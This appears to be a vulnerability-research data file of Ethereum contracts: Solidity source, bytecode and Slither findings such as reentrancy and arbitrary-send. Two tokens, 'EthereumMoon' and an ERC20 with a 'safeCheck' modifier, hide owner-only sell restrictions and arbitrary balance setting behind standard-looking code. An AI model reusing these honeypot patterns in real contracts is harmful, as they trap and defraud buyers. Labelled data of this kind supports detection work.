0006044820152606401610455565b610ad16064610acb683635c9adc5dea000008461132a565b906113a9565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b6e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610455565b6001600160a01b038216610bcf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610455565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610455565b6001600160a01b038216610cf65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610455565b60008111610d585760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610455565b6000546001600160a01b03848116911614801590610d8457506000546001600160a01b03838116911614155b15610fe557600f54600160b81b900460ff1615610e6b576001600160a01b0383163014801590610dbd57506001600160a01b0382163014155b8015610dd75750600e546001600160a01b03848116911614155b8015610df15750600e546001600160a01b03838116911614155b15610e6b57600e546001600160a01b0316336001600160a01b03161480610e2b5750600f546001600160a01b0316336001600160a01b0316145b610e6b5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610455565b601054811115610e7a57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ebc57506001600160a01b0382166000908152600a602052604090205460ff16155b610ec557600080fd5b600f546001600160a01b038481169116148015610ef05750600e546001600160a01b03838116911614155b8015610f1557506001600160a01b03821660009081526005602052604090205460ff16155b8015610f2a5750600f54600160b81b900460ff165b15610f78576001600160a01b0382166000908152600b60205260409020544211610f5357600080fd5b610f5e42603c611af6565b6001600160a01b0383166000908152600b60205260409020555b6000610f83306104f4565b600f54909150600160a81b900460ff16158015610fae5750600f546001600160a01b03858116911614155b8015610fc35750600f54600160b01b900460ff165b15610fe357610fd181611185565b478015610fe157610fe14761107c565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102757506001600160a01b03831660009081526005602052604090205460ff165b15611030575060005b61103c848484846113eb565b50505050565b600081848411156110665760405162461bcd60e51b815260040161045591906119fe565b5060006110738486611b4d565b95945050505050565b600c546001600160a01b03166108fc6110968360026113a9565b6040518115909202916000818181858888f193505050501580156110be573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d98360026113a9565b6040518115909202916000818181858888f19350505050158015610637573d6000803e3d6000fd5b60006006548211156111685760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610455565b6000611172611417565b905061117e83826113a9565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111db57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122f57600080fd5b505afa158015611243573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126791906117fb565b8160018151811061128857634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112ae9130911684610b0c565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e7908590600090869030904290600401611a86565b600060405180830381600087803b15801561130157600080fd5b505af1158015611315573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611339575060006103bc565b60006113458385611b2e565b9050826113528583611b0e565b1461117e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610455565b600061117e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061143a565b806113f8576113f8611468565b61140384848461148b565b8061103c5761103c6002600855600a600955565b6000806000611424611582565b909250905061143382826113a9565b9250505090565b6000818361145b5760405162461bcd60e51b815260040161045591906119fe565b5060006110738486611b0e565b6008541580156114785750600954155b1561147f57565b60006008819055600955565b60008060008060008061149d876115c4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114cf9087611621565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114fe9086611663565b6001600160a01b038916600090815260026020526040902055611520816116c2565b61152a848361170c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156f91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159e82826113a9565b8210156115bb57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115e18a600854600954611730565b92509250925060006115f1611417565b905060008060006116048e87878761177f565b919e509c509a509598509396509194505050505091939550919395565b600061117e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611042565b6000806116708385611af6565b90508381101561117e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610455565b60006116cc611417565b905060006116da838361132a565b306000908152600260205260409020549091506116f79082611663565b30600090815260026020526040902055505050565b6006546117199083611621565b6006556007546117299082611663565b6007555050565b60008080806117446064610acb898961132a565b905060006117576064610acb8a8961132a565b9050600061176f826117698b86611621565b90611621565b9992985090965090945050505050565b600080808061178e888661132a565b9050600061179c888761132a565b905060006117aa888861132a565b905060006117bc826117698686611621565b939b939a50919850919650505050505050565b80356117da81611bab565b919050565b6000602082840312156117f0578081fd5b813561117e81611bab565b60006020828403121561180c578081fd5b815161117e81611bab565b60008060408385031215611829578081fd5b823561183481611bab565b9150602083013561184481611bab565b809150509250929050565b600080600060608486031215611863578081fd5b833561186e81611bab565b9250602084013561187e81611bab565b929592945050506040919091013590565b600080604083850312156118a1578182fd5b82356118ac81611bab565b946020939093013593505050565b600060208083850312156118cc578182fd5b823567ffffffffffffffff808211156118e3578384fd5b818501915085601f8301126118f6578384fd5b81358181111561190857611908611b95565b8060051b604051601f19603f8301168101818110858211171561192d5761192d611b95565b604052828152858101935084860182860187018a101561194b578788fd5b8795505b8386101561197457611960816117cf565b85526001959095019493860193860161194f565b5098975050505050505050565b600060208284031215611992578081fd5b813561117e81611bc0565b6000602082840312156119ae578081fd5b815161117e81611bc0565b6000602082840312156119ca578081fd5b5035919050565b6000806000606084860312156119e5578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2a57858101830151858201604001528201611a0e565b81811115611a3b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad55784516001600160a01b031683529383019391830191600101611ab0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0957611b09611b7f565b500190565b600082611b2957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4857611b48611b7f565b500290565b600082821015611b5f57611b5f611b7f565b500390565b6000600019821415611b7857611b78611b7f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104f157600080fd5b80151581146104f157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122010744b8456b22d52b34e43014fd5981a4040554bd253a67bed24dc4fb1a15a5d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,483
0xe094b159af7835dbe7f3b059639d66a963abbae4
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract EthereumMoon { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158207841756fa9b96b22ac28e0ede93b98482bdaf876ac253760f7ef0dfa0a7f59ec64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,484
0xa12c28fd377d552182581fabc0cd1ee963b9e591
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_NRCH(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
